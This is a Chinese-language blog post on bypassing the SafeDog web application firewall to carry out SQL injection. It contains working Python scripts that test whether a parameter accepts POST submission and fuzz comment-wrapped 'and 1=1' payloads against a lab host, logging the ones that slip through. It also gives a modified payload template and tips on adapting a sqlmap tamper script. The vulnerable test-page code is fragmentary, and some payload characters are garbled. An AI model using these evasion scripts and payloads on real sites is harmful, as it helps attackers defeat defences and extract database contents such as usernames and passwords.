关于绕过安全狗的一些思考
作者:Yusy
:https://www.jianshu.com/u/de9edf7ff21b
0x0环境搭建
测试页面的代码如下:
";
echo "用户名".$row['username']."";
echo "密码".$row['password']."";
}
mysql_close($conn);
echo "
";
echo "当前语句:";
echo $sql
?>
数据库需要进行的操作是:
1、 建立fendo数据库
2、 创建user表
3、 导入数据
0x1 整体思路
通过阅读一些绕过安全狗的文章,我们可以得到一些思路,但是据我个人测试,这些文章当中有一些曾经很管用的方法已经失效了,例如大小写绕过,UnunionION这种的,所以我们这里只对两点思路做探讨,一是变换提交方式,我觉得这是首先需要测试的,因为安全狗对于post方式提交的注入语句,基本是0防护,二就是最常见的思路,/!/包围注入语句,或者是/xxxx/替换20%,只要语句够变态,那么你想怎么虐安全狗,都可以,现在我们主要针对这两种方式编写自动化的脚本。
这里需要补充说明的一点是,安全狗对于请求速度也是有要求的,所以建议对速度也进行一些处理。
0x2 自动检测参数是否可以通过post方式提交
其实这东西自动化都觉得烦,但是我觉得完全可以把几个脚本整合到一块,这样子就不会觉得多余了。
这篇文章写脚本都是用python,版本是python3。
要实现的功能呢,就是用户输入一个注入点,我们把注入点的参数部分获取下来,然后放到post里去提交,如果返回的页面当中有正常页面的关键字,就表示可以接受Post方式提交的数据,否则则不行。我是晚上匆匆写的脚本,所以功能上还存在一些弊端,就是不可以对多个参数进行检测,需要再加一次分割操作,当然这篇文章只是抛砖引玉,所以大家可以开动脑筋,自己去完善。
我这里直接贴出代码:
\#!/usr/bin/env python
\# -*- coding:utf-8 -*
\# 看目标是否可以通过post方式进行注入 import requests
url = input("请输入注入点:")
url_list = url = url.split("?")
Request_URL = url_list[0]
Form_Data1 = url_list[1]
form_list = Form_Data1.split("=")
para_name = form_list[0]
para_key = form_list[1]
Form_Data = {para_name:para_key}
print(Request_URL,Form_Data)
r = requests.post(Request_URL,Form_Data)
html = r.text
print(html)
if 'fendo8888' in html:
print("可以用post方式注入!")
else:
print("不可以用post方式注入!")
发送请求的模块呢,就是requests模块,然后我们对输入的注入点以?进行分割,得到一个列表,然后对参数名=参数值又进行了一次分割,原因是request发送请求时,用到的参数Form_Data必须是一个字典,所以我们要将参数名,参数值分别传入其中,当然了,我觉得这个处理过程还是很繁琐的,希望有朋友能给出更加优化的代码。
0x3 以量取胜,获取payload
其实这个思路呢,早前漏洞银行有过公开课,就有前辈提出了这个思路,当时他的脚本我还有留存,但是现在似乎不太好用了,现在贴出他的代码:
\# -*- coding:utf-8 -*-
\# python3
import requests
import sys
fuzz_zs = ['/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_sz = ['']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]
fuzz = fuzz_zs+fuzz_sz+fuzz_ch
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
url_start = "http://192.168.126.130:84/1.php?x=1"
len = len(fuzz)**5
num = 0
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
for e in fuzz:
num += 1
exp = "/*!and"+a+b+c+d+e+"1=1*/"
url = url_start + exp
sys.stdout.write('' * 30 + '\r')
sys.stdout.flush()
print("Now URL:"+url)
sys.stdout.write("now:%s/%s \r*" % (num,len))
sys.stdout.flush()
res = requests.get(url = url , headers = headers)
if "title1" in res.text:
with open("Results.txt",'a',encoding='utf-8') as r:
r.write(url+"\n")
这一段代码思路还是很明确的,就是将 ['/','/','/!','','=','`','!','@','%','.','-','+','|','%00'] ['']
["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]这三个列表中乱七八糟的东西放到语句里去,如果正常页面中的title1关键字出现,那么说明注入语句是成功执行了。
嗯,今天又是造轮子的一天,既然前辈的思路不可取了,那么我们想想应该如何完善,弊端又在哪?首先,由exp可以知道:
1、 只对union select进行了一次包围
2、 用来骗狗的字符还是不够多
那么我们该如何完善呢?
首先,我们需要对每一个敏感的字符都进行包围,那么多写一次就可以了
第二点,其实这一点太好解决了,ascii码表上有很多东西可以拿来利用,有那么多种编码方式可以拿来利用,大佬是遍历,那我们递归呢?随机呢?还有哪些呢?别忘了我们熟悉的And,OR,50001,Union,这些是敏感字符,但是放到注释里确是没关系的,有时会起到令人兴奋的效果。
那这里,我就不把我写的脚本贴出来了,只贴出修改后的exp:exp = "/!and" + "/" + a + b + c + d + e + "/" + "/" + "/!1=1" + "/" + a + b + c + d + e + "/" + "/"
其实也就是在大佬的基础上做了些完善和修改。怎么说呢,授人以鱼不如授人以渔,不可能永远靠着别人的东西过日子,修改的思路就在这里,还是给大家留下更多的发挥空间吧。
我跑了一分钟,1200条结果,还是很可观的。
这里贴出最后几条和对union select的测试结果
拦截:
过去啦:
0x4 修改sqlmap的tamper插件,自动注入
Emmm,经常会看到有人说,我没有代码功底,我不会写插件,其实没关系的,sqlmap本身就给我们提供了大量的插件,你要做的就是略加修改。
那首先你需要了解的是sqlmap中的插件,都是干什么用的,这里网上可以搜索的到,我就不多说了,我用的是versionedkeywords.py这个插件,把注入语句敏感词的前面和后面分别换上我们的payload就可以了,具体就没什么好继续说的了。
0x5 总结
以上就是我的一些思路了,总结来说就是,也许我们没有那么大本事去创造出很新奇的思路,但是我们完全可以在前辈的基础上有所创新,抛砖引玉,期待大家能带来新的思路。